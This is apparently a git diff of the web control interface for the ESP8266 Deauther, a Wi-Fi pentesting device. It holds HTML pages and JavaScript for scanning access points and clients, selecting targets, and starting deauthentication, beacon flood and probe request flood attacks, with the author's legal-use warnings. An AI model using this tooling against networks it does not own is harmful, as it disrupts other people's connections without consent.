Before Width: | Height: | Size: 57 KiB After Width: | Height: | Size: 146 KiB |
Before Width: | Height: | Size: 61 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 106 KiB |
|
@ -1,69 +0,0 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="/">APs</a>
|
||||
<a href="clients">Clients</a>
|
||||
<a href="attack">Attack</a>
|
||||
<a href="settings">Settings</a>
|
||||
<ul class="nav right">
|
||||
<a href="#" onclick="restartESP()">Restart</a>
|
||||
<ul>
|
||||
</nav>
|
||||
<div id="content">
|
||||
<h1>Attack</h1>
|
||||
|
||||
<p class="block bold">Selected AP:</p>
|
||||
<ul id="selectedAPs">
|
||||
</ul>
|
||||
|
||||
<br />
|
||||
|
||||
<p class="block bold">Selected Clients:</p>
|
||||
<ul id="selectedClients">
|
||||
</ul>
|
||||
|
||||
<br />
|
||||
|
||||
<table>
|
||||
</table>
|
||||
|
||||
<p class="small">
|
||||
<br />
|
||||
<b>deauth [deauthentication attack]:</b><br />
|
||||
Sends deauthentication frames and dissociation frames to the selected client(s) in the selected WiFi access point(s).
|
||||
<br />
|
||||
<b>Note: </b>
|
||||
If no client is selected, the packets are sent as broadcast!
|
||||
<br /><br />
|
||||
<b>beacon [beacon flood attack]:</b><br />
|
||||
(clone:) Spams beacon frames with a similar SSID as the selected WiFi access point(s).<br />
|
||||
(list:) Spams beacon frames with all SSIDs in the list below.
|
||||
<br /><br />
|
||||
<b>probe request [probe request flood attack]:</b><br />
|
||||
Spams probe request frames with all SSIDs in the list below.<br />
|
||||
Useful to confuse and spam WiFi trackers.
|
||||
</p>
|
||||
<br />
|
||||
<p class="block bold">SSIDs: <span id="ssidCounter">0/64</span> <button class="marginNull warnBtn" onclick="clearSSID()">clear</button> <button class="marginNull" onclick="randomSSID()">random</button> <button class="marginNull" onclick="cloneSSID()">clone</button> <button class="marginNull" onclick="addSSID()">add</button></p>
|
||||
<br />
|
||||
<table>
|
||||
</table>
|
||||
<br />
|
||||
<button class="marginNull warnBtn" onclick="resetSSID()">reset</button> <button class="marginNull" onclick="saveSSID()">save</button> <p class="small" id="saved">saved</p>
|
||||
</div>
|
||||
<script src="js/functions.js"></script>
|
||||
<script src="js/attack.js"></script>
|
||||
<div id="copyright">
|
||||
Copyright 2017 Stefan Kremser<br />
|
||||
<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -1,47 +0,0 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="/">APs</a>
|
||||
<a href="clients">Clients</a>
|
||||
<a href="attack">Attack</a>
|
||||
<a href="settings">Settings</a>
|
||||
<ul class="nav right">
|
||||
<a href="#" onclick="restartESP()">Restart</a>
|
||||
<ul>
|
||||
</nav>
|
||||
<div id="content">
|
||||
<h1>Scan for client devices</h1>
|
||||
|
||||
<label for="scanTime">Scan time:</label>
|
||||
<input type="number" id="scanTime" value="10">s
|
||||
|
||||
<button onclick="scan()" id="startScan">start</button>
|
||||
<a id="clientScanStatus">ready!</a>
|
||||
<br />
|
||||
<p class="warn" id="status">AP will be off while scanning!<p>
|
||||
<br />
|
||||
|
||||
<p class="block bold" id="clientsFound">Client devices found: 0</p>
|
||||
|
||||
<br />
|
||||
|
||||
</div>
|
||||
|
||||
<table>
|
||||
</table>
|
||||
<script src="js/functions.js"></script>
|
||||
<script src="js/clients.js"></script>
|
||||
<div id="copyright">
|
||||
Copyright 2017 Stefan Kremser<br />
|
||||
<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,55 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<script src="js/functions.js"></script>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Scan for Wi-Fi access points</h1>
|
||||
|
||||
<a id="scanInfo">scanning...</a>
|
||||
<button onclick="scan()" id="apScanStart" class="right button-primary">scan</button>
|
||||
|
||||
<p>
|
||||
Networks found:
|
||||
<span id="networksFound">0</span>
|
||||
<br />
|
||||
MAC: <span id="apMAC"></span>
|
||||
</p>
|
||||
<br />
|
||||
|
||||
<table></table>
|
||||
|
||||
<p class="small">
|
||||
WPA* = WPA/WPA2 auto mode
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
|
||||
<script src="js/apscan.js"></script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,82 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<script src="js/functions.js"></script>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Attacks</h1>
|
||||
|
||||
<p class="bold">Selected AP(s):</p>
|
||||
<ul id="selectedAPs">
|
||||
</ul>
|
||||
|
||||
<br />
|
||||
|
||||
<p class="bold">Selected Station(s):</p>
|
||||
<ul id="selectedClients">
|
||||
</ul>
|
||||
|
||||
<br />
|
||||
|
||||
<table>
|
||||
</table>
|
||||
|
||||
<p>
|
||||
<span class="warn">INFO: </span><span class="bold">You may loose connection when starting the attack.</span><br />
|
||||
Change the channel in the settings to the same of the selected AP to prevent this.
|
||||
<br />
|
||||
<br />
|
||||
<span class="bold">Deauth [deauthentication attack]:</span><br />
|
||||
Sends deauthentication and dissociation frames to the selected station(s) and access point(s).<br />
|
||||
<br />
|
||||
<span class="bold">Beacon [beacon flood]:</span><br />
|
||||
Sends beacon frames with the SSIDs in the list below.<br />
|
||||
<br />
|
||||
<span class="bold">Probe-Request [probe request flood]:</span><br />
|
||||
Sends probe request frames with the SSIDs in the list below.
|
||||
</p>
|
||||
<br />
|
||||
<p class="left">SSIDs: <span id="ssidCounter">0/48</span>
|
||||
<div class="right">
|
||||
<button class="button-warn" onclick="clearSSID()">clear</button>
|
||||
<button onclick="randomSSID()">random</button>
|
||||
<button onclick="cloneSSID(prompt('new SSID:'))">clone</button>
|
||||
<button class="button-primary" onclick="addSSID()">add</button></p>
|
||||
</div>
|
||||
<br />
|
||||
<table></table>
|
||||
<br />
|
||||
<button class="marginNull button-warn" onclick="resetSSID()">reset</button>
|
||||
<button class="marginNull button-primary right" onclick="saveSSID()">save</button>
|
||||
<p class="small" id="saved">saved</p>
|
||||
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
|
||||
<script src="js/attack.js"></script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,35 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">ERROR 404</h1>
|
||||
<p class="middle"><br />Page not found :(<br /></p>
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,41 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<script src="js/functions.js"></script>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">WARNING</h1>
|
||||
|
||||
<p class="middle bold">
|
||||
This software is only for testing common vulnerabilities in the 802.11 standard.<br />
|
||||
It can disrupt unprotected Wi-Fi connections.<br/>
|
||||
Please check the laws in your country before using it.<br />
|
||||
<br />
|
||||
<span class="warn">Use it only on your own networks and devices!</span><br />
|
||||
The usage of this software against other networks without permission is illegal!<br />
|
||||
<br />
|
||||
You are self resposible for everything you do with this program!<br />
|
||||
It will log all actions against any network and device.<br />
|
||||
<br />
|
||||
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!<br />
|
||||
<br />
|
||||
Go to <a href="https://github.com/spacehuhn/esp8266_deauther">github.com/spacehuhn/esp8266_deauther</a> for more information.<br />
|
||||
<br />
|
||||
<br />
|
||||
<a class="button" href="apscan.html">I've read and understood the notice above</a>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,58 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Info</h1>
|
||||
<h2>ESP8266 Deauther</h2>
|
||||
<p>
|
||||
<span class="bold">Copyright (c) 2017 Stefan Kremser</span><br />
|
||||
This project is licensed under the MIT License - see the <a href="license">license file</a> file for details.<br />
|
||||
<br />
|
||||
The source code is available on <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">GitHub</a>.<br />
|
||||
<br />
|
||||
<br />
|
||||
Use it only for testing or educational purposes on your own devices!<br />
|
||||
<br />
|
||||
<span class="bold">
|
||||
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!<br />
|
||||
</span>
|
||||
<br />
|
||||
</p>
|
||||
|
||||
<h2>Credits</h2>
|
||||
<p>
|
||||
<a href="https://github.com/ThisIsDallas/Simple-Grid">SIMPLE GRID</a> - Copyright (C) 2013 Dallas Bass - Released under the MIT License.<br />
|
||||
<br />
|
||||
The MAC adresse list is based on Wireshark manufacturer database.<br />
|
||||
Source: <a href="https://www.wireshark.org/tools/oui-lookup.html">https://www.wireshark.org/tools/oui-lookup.html</a><br />
|
||||
Wireshark is released under the GNU General Public License version 2<br />
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -1,20 +1,13 @@
|
|||
var table = document.getElementsByTagName('table')[0];
|
||||
var networkInfo = document.getElementById('networksFound');
|
||||
var scanBtn = document.getElementById('apScanStart');
|
||||
var scanInfo = document.getElementById('scanInfo');
|
||||
var apMAC = document.getElementById('apMAC');
|
||||
var startStopScan = document.getElementById('startStopScan');
|
||||
var networkInfo = getE('networksFound');
|
||||
var scanInfo = getE('scanInfo');
|
||||
var apMAC = getE('apMAC');
|
||||
var startStopScan = getE('startStopScan');
|
||||
var autoScan = false;
|
||||
var canScan = true;
|
||||
|
||||
function toggleBtn(onoff) {
|
||||
if (onoff && !autoScan) {
|
||||
scanInfo.style.visibility = 'hidden';
|
||||
scanBtn.style.visibility = 'visible';
|
||||
} else {
|
||||
scanInfo.style.visibility = 'visible';
|
||||
scanBtn.style.visibility = 'hidden';
|
||||
}
|
||||
function toggleScan(onoff) {
|
||||
if (onoff && !autoScan) scanInfo.style.visibility = 'hidden';
|
||||
else scanInfo.style.visibility = 'visible';
|
||||
}
|
||||
|
||||
function compare(a, b) {
|
||||
|
@ -32,11 +25,11 @@ function getEncryption(num) {
|
|||
}
|
||||
|
||||
function getResults() {
|
||||
toggleBtn(true);
|
||||
toggleScan(true);
|
||||
getResponse("APScanResults.json", function(responseText) {
|
||||
var res = JSON.parse(responseText);
|
||||
res.aps = res.aps.sort(compare);
|
||||
networkInfo.innerHTML = "Networks found: " + res.aps.length;
|
||||
networkInfo.innerHTML = res.aps.length;
|
||||
apMAC.innerHTML = "";
|
||||
|
||||
var tr = '';
|
||||
|
@ -59,41 +52,23 @@ function getResults() {
|
|||
tr += '</tr>';
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
canScan = true;
|
||||
});
|
||||
}
|
||||
|
||||
function scan() {
|
||||
canScan = false;
|
||||
toggleBtn(false);
|
||||
toggleScan(false);
|
||||
getResponse("APScan.json", function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else alert("error");
|
||||
toggleBtn(true);
|
||||
else showMessage("response error APScan.json");
|
||||
toggleScan(true);
|
||||
});
|
||||
}
|
||||
|
||||
function startConScan() {
|
||||
if (autoScan) {
|
||||
autoScan = false;
|
||||
startStopScan.innerHTML = "start";
|
||||
toggleBtn(true);
|
||||
} else {
|
||||
autoScan = true;
|
||||
startStopScan.innerHTML = "stop";
|
||||
toggleBtn(false);
|
||||
}
|
||||
}
|
||||
|
||||
function select(num) {
|
||||
getResponse("APSelect.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else alert("error");
|
||||
else showMessage("response error APSelect.json");
|
||||
});
|
||||
}
|
||||
|
||||
getResults();
|
||||
|
||||
setInterval(function() {
|
||||
if (autoScan && canScan) scan();
|
||||
}, 1000);
|
||||
getResults();
|
|
@ -1,9 +1,9 @@
|
|||
var selectedAPs = document.getElementById("selectedAPs");
|
||||
var selectedClients = document.getElementById("selectedClients");
|
||||
var selectedAPs = getE("selectedAPs");
|
||||
var selectedClients = getE("selectedClients");
|
||||
var table = document.getElementsByTagName("table")[0];
|
||||
var ssidList = document.getElementsByTagName("table")[1];
|
||||
var saved = document.getElementById("saved");
|
||||
var ssidCounter = document.getElementById("ssidCounter");
|
||||
var saved = getE("saved");
|
||||
var ssidCounter = getE("ssidCounter");
|
||||
var resultInterval;
|
||||
var res;
|
||||
|
||||
|
@ -13,7 +13,7 @@ function getResults() {
|
|||
var aps = "";
|
||||
var clients = "";
|
||||
var tr = "<tr><th>Attack</th><th>Status</th><th>Start/Stop</th></tr>";
|
||||
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + res.aps[i] + "</li>";
|
||||
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + res.aps[i] + " <button onclick='cloneSSID(\""+res.aps[i]+"\")'>clone</button></li>";
|
||||
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + res.clients[i] + "</li>";
|
||||
|
||||
selectedAPs.innerHTML = aps;
|
||||
|
@ -24,8 +24,8 @@ function getResults() {
|
|||
else tr += "<tr>";
|
||||
|
||||
tr += "<td>" + res.attacks[i].name + "</td>";
|
||||
if (res.attacks[i].status == "ready") tr += "<td style='color:#1ecb1e'>" + res.attacks[i].status + "</td>";
|
||||
else tr += "<td style='color:#f00'>" + res.attacks[i].status + "</td>";
|
||||
if (res.attacks[i].status == "ready") tr += "<td class='green'>" + res.attacks[i].status + "</td>";
|
||||
else tr += "<td class='red'>" + res.attacks[i].status + "</td>";
|
||||
if (res.attacks[i].running) tr += "<td><button class='marginNull selectedBtn' onclick='startStop(" + i + ")'>stop</button></td>";
|
||||
else tr += "<td><button class='marginNull' onclick='startStop(" + i + ")'>start</button></td>";
|
||||
|
||||
|
@ -33,46 +33,43 @@ function getResults() {
|
|||
}
|
||||
table.innerHTML = tr;
|
||||
|
||||
ssidCounter.innerHTML = res.ssid.length + "/64";
|
||||
ssidCounter.innerHTML = res.ssid.length + "/48";
|
||||
|
||||
var tr = "<tr><th>Name</th><th>X</th></tr>";
|
||||
for (var i = 0; i < res.ssid.length; i++) {
|
||||
tr += "<tr>";
|
||||
tr += "<td>" + res.ssid[i] + "</td>";
|
||||
tr += '<td><button class="marginNull warnBtn" onclick="deleteSSID(' + i + ')">x</button></td>';
|
||||
tr += '<td><button class="marginNull button-warn" onclick="deleteSSID(' + i + ')">x</button></td>';
|
||||
tr += "</tr>";
|
||||
}
|
||||
ssidList.innerHTML = tr;
|
||||
|
||||
}, function() {
|
||||
clearInterval(resultInterval);
|
||||
location.reload();
|
||||
showMessage("error loading attackInfo.json");
|
||||
});
|
||||
}
|
||||
|
||||
function startStop(num) {
|
||||
getResponse("attackStart.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else alert("error");
|
||||
else showMessage("response error attackStart.json");
|
||||
});
|
||||
}
|
||||
|
||||
function addSSID() {
|
||||
saved.innerHTML = "";
|
||||
if (res.ssid.length >= 64) alert("SSID list full :(");
|
||||
if (res.ssid.length >= 64) showMessage("SSID list full :(", 2500);
|
||||
else {
|
||||
var _ssidName = prompt("new SSID:");
|
||||
if (_ssidName != null) getResponse("addSSID.json?name=" + _ssidName, getResults);
|
||||
}
|
||||
}
|
||||
|
||||
function cloneSSID() {
|
||||
function cloneSSID(_ssidName) {
|
||||
saved.innerHTML = "";
|
||||
if (res.ssid.length >= 64) alert("SSID list full :(");
|
||||
else {
|
||||
var _ssidName = prompt("new SSID:");
|
||||
if (_ssidName != null) getResponse("cloneSSID.json?name=" + _ssidName, getResults);
|
||||
}
|
||||
if (res.ssid.length >= 64) showMessage("SSID list full :(", 2500);
|
||||
else if(_ssidName != null) getResponse("cloneSSID.json?name=" + _ssidName, getResults);
|
||||
}
|
||||
|
||||
function deleteSSID(num) {
|
||||
|
@ -98,4 +95,4 @@ function resetSSID() {
|
|||
}
|
||||
|
||||
getResults();
|
||||
resultInterval = setInterval(getResults, 3000);
|
||||
resultInterval = setInterval(getResults, 1000);
|
|
@ -0,0 +1,36 @@
|
|||
function showMessage(msg, closeAfter){
|
||||
document.getElementById("error").innerHTML = msg;
|
||||
if(closeAfter !== undefined){
|
||||
setTimeout(function(){
|
||||
document.getElementById("error").innerHTML = "";
|
||||
},closeAfter);
|
||||
}
|
||||
}
|
||||
|
||||
function getE(name){
|
||||
return document.getElementById(name);
|
||||
}
|
||||
|
||||
function getResponse(adr, callback, timeoutCallback, timeout, method){
|
||||
if(timeoutCallback === undefined) {
|
||||
timeoutCallback = function(){
|
||||
showMessage("error loading "+adr);
|
||||
};
|
||||
}
|
||||
if(timeout === undefined) timeout = 8000;
|
||||
if(method === undefined) method = "GET";
|
||||
var xmlhttp = new XMLHttpRequest();
|
||||
xmlhttp.onreadystatechange = function() {
|
||||
if(xmlhttp.readyState == 4){
|
||||
if(xmlhttp.status == 200){
|
||||
showMessage("");
|
||||
callback(xmlhttp.responseText);
|
||||
}
|
||||
else timeoutCallback();
|
||||
}
|
||||
};
|
||||
xmlhttp.open(method, adr, true);
|
||||
xmlhttp.send();
|
||||
xmlhttp.timeout = timeout;
|
||||
xmlhttp.ontimeout = timeoutCallback;
|
||||
}
|
|
@ -0,0 +1,84 @@
|
|||
var ssid = getE('ssid');
|
||||
var ssidHidden = getE('ssidHidden');
|
||||
var password = getE('password');
|
||||
var apChannel = getE('apChannel');
|
||||
var apScanHidden = getE('apScanHidden');
|
||||
var scanTime = getE('scanTime');
|
||||
var timeout = getE('timeout');
|
||||
var deauthReason = getE('deauthReason');
|
||||
var packetRate = getE('packetRate');
|
||||
var saved = getE('saved');
|
||||
var clientNames = getE('clientNames');
|
||||
var ssidEnc = getE('ssidEnc');
|
||||
var useLed = getE('useLed');
|
||||
/*var channelHop = getE('channelHop');*/
|
||||
var multiAPs = getE('multiAPs');
|
||||
var cMac = getE('cMac');
|
||||
var cName = getE('cName');
|
||||
var res;
|
||||
|
||||
function getData() {
|
||||
getResponse("settings.json", function(responseText) {
|
||||
try {
|
||||
res = JSON.parse(responseText);
|
||||
} catch(e) {
|
||||
showMessage("Error: reset the settings.");
|
||||
return;
|
||||
}
|
||||
ssid.value = res.ssid;
|
||||
ssidHidden.checked = res.ssidHidden;
|
||||
password.value = res.password;
|
||||
apChannel.value = res.apChannel;
|
||||
apScanHidden.checked = res.apScanHidden;
|
||||
scanTime.value = res.clientScanTime;
|
||||
timeout.value = res.attackTimeout;
|
||||
deauthReason.value = res.deauthReason;
|
||||
packetRate.value = res.attackPacketRate;
|
||||
ssidEnc.checked = res.attackEncrypted;
|
||||
useLed.checked = res.useLed;
|
||||
/*channelHop.checked = res.channelHop;*/
|
||||
multiAPs.checked = res.multiAPs;
|
||||
});
|
||||
}
|
||||
|
||||
function saveSettings() {
|
||||
saved.innerHTML = "saving...";
|
||||
var url = "settingsSave.json";
|
||||
url += "?ssid=" + ssid.value;
|
||||
url += "&ssidHidden=" + ssidHidden.checked;
|
||||
url += "&password=" + password.value;
|
||||
url += "&apChannel=" + apChannel.value;
|
||||
url += "&apScanHidden=" + apScanHidden.checked;
|
||||
url += "&scanTime=" + scanTime.value;
|
||||
url += "&timeout=" + timeout.value;
|
||||
url += "&deauthReason=" + deauthReason.value;
|
||||
url += "&packetRate=" + packetRate.value;
|
||||
url += "&ssidEnc=" + ssidEnc.checked;
|
||||
url += "&useLed=" + useLed.checked;
|
||||
/*url += "&channelHop=" + channelHop.checked;*/
|
||||
url += "&multiAPs="+ multiAPs.checked;
|
||||
|
||||
getResponse(url, function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = "saved";
|
||||
}
|
||||
else showMessage("response error settingsSave.json");
|
||||
});
|
||||
}
|
||||
|
||||
function resetSettings() {
|
||||
getResponse("settingsReset.json", function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = "saved";
|
||||
}
|
||||
else showMessage("response error settingsReset.json");
|
||||
});
|
||||
}
|
||||
|
||||
function restart(){
|
||||
getResponse("restartESP.json?", function(){});
|
||||
}
|
||||
|
||||
getData();
|
|
@ -0,0 +1,142 @@
|
|||
var table = document.getElementsByTagName('table')[0];
|
||||
var scanBtn = getE("startScan");
|
||||
var scanTime = getE("scanTime");
|
||||
var clientsFound = getE("clientsFound");
|
||||
var scanStatus = getE("clientScanStatus");
|
||||
var clientNames = getE('clientNames');
|
||||
var nameListTable = getE('nameList');
|
||||
var res;
|
||||
|
||||
function compare(a, b) {
|
||||
if (a.p > b.p) return -1;
|
||||
if (a.p < b.p) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
function toggleBtn(onoff) {
|
||||
if (onoff) {
|
||||
scanStatus.style.visibility = 'visible';
|
||||
} else {
|
||||
scanStatus.style.visibility = 'hidden';
|
||||
}
|
||||
}
|
||||
|
||||
function getResults() {
|
||||
getResponse("ClientScanResults.json", function(responseText) {
|
||||
try{
|
||||
res = JSON.parse(responseText);
|
||||
}catch(e){
|
||||
showMessage("Error: clear the client list.");
|
||||
return;
|
||||
}
|
||||
|
||||
res.clients = res.clients.sort(compare);
|
||||
|
||||
clientsFound.innerHTML = res.clients.length;
|
||||
|
||||
var tr = '';
|
||||
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>Vendor</th><th>Name</th><th>MAC</th><th>AP</th><th>Select</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.clients.length; i++) {
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<tr class="selected">';
|
||||
else tr += '<tr>';
|
||||
tr += '<td>' + res.clients[i].p + '</td>';
|
||||
tr += '<td>' + res.clients[i].v + '</td>';
|
||||
tr += '<td>' + res.clients[i].n + ' <a onclick="changeName(' + res.clients[i].i + ')">edit</a></td>';
|
||||
tr += '<td>' + res.clients[i].m + '</td>';
|
||||
tr += '<td>' + res.clients[i].a + '</td>';
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<td><button class="marginNull selectedBtn" onclick="select(' + res.clients[i].i + ')">deselect</button></td>';
|
||||
else tr += '<td><button class="marginNull" onclick="select(' + res.clients[i].i + ')">select</button></td>';
|
||||
|
||||
tr += '</tr>';
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
|
||||
clientNames.innerHTML = res.nameList.length + "/50";
|
||||
|
||||
var tr = '<tr><th>MAC</th><th>Name</th><th>X</th><th>Add</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.nameList.length; i++) {
|
||||
|
||||
tr += '<tr>';
|
||||
tr += '<td>' + res.nameList[i].m + '</td>';
|
||||
tr += '<td>' + res.nameList[i].n + ' <a onclick="changeName(' + i + ')">edit</a></td>';
|
||||
tr += '<td><button class="marginNull button-warn" onclick="deleteName(' + i + ')">x</button></td>';
|
||||
tr += '<td><button class="marginNull button-primary" onclick="add(' + i + ')">add</button></td>';
|
||||
tr += '</tr>';
|
||||
}
|
||||
|
||||
nameListTable.innerHTML = tr;
|
||||
|
||||
}, function() {
|
||||
showMessage("reconnect and reload the site");
|
||||
}, 6000);
|
||||
|
||||
}
|
||||
|
||||
function scan() {
|
||||
toggleBtn(true);
|
||||
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
|
||||
if(responseText == "true") {
|
||||
setTimeout(function() {
|
||||
toggleBtn(true);
|
||||
getResults();
|
||||
}, scanTime.value * 1000);
|
||||
}
|
||||
else showMessage("response error ClientScan.json");
|
||||
});
|
||||
}
|
||||
|
||||
function select(num) {
|
||||
getResponse("clientSelect.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage("response error clientSelect.json");
|
||||
});
|
||||
}
|
||||
|
||||
function clearNameList() {
|
||||
getResponse("clearNameList.json", function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage("response error clearNameList.json");
|
||||
});
|
||||
}
|
||||
|
||||
function addClient(){
|
||||
getResponse("addClient.json?mac="+cMac.value+"&name="+cName.value, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage("response error addClient.json");
|
||||
});
|
||||
}
|
||||
|
||||
function changeName(id) {
|
||||
var newName = prompt("Name for " + res.nameList[id].m);
|
||||
if (newName != null) {
|
||||
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||
if(responseText == "true") getResults();
|
||||
else showMessage("response error editNameList.json");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function deleteName(id) {
|
||||
getResponse("deleteName.json?num=" + id, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage("response error deleteName.json");
|
||||
});
|
||||
}
|
||||
|
||||
function add(id){
|
||||
getResponse("addClientFromList.json?num=" + id, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage("response error addClientFromList.json");
|
||||
});
|
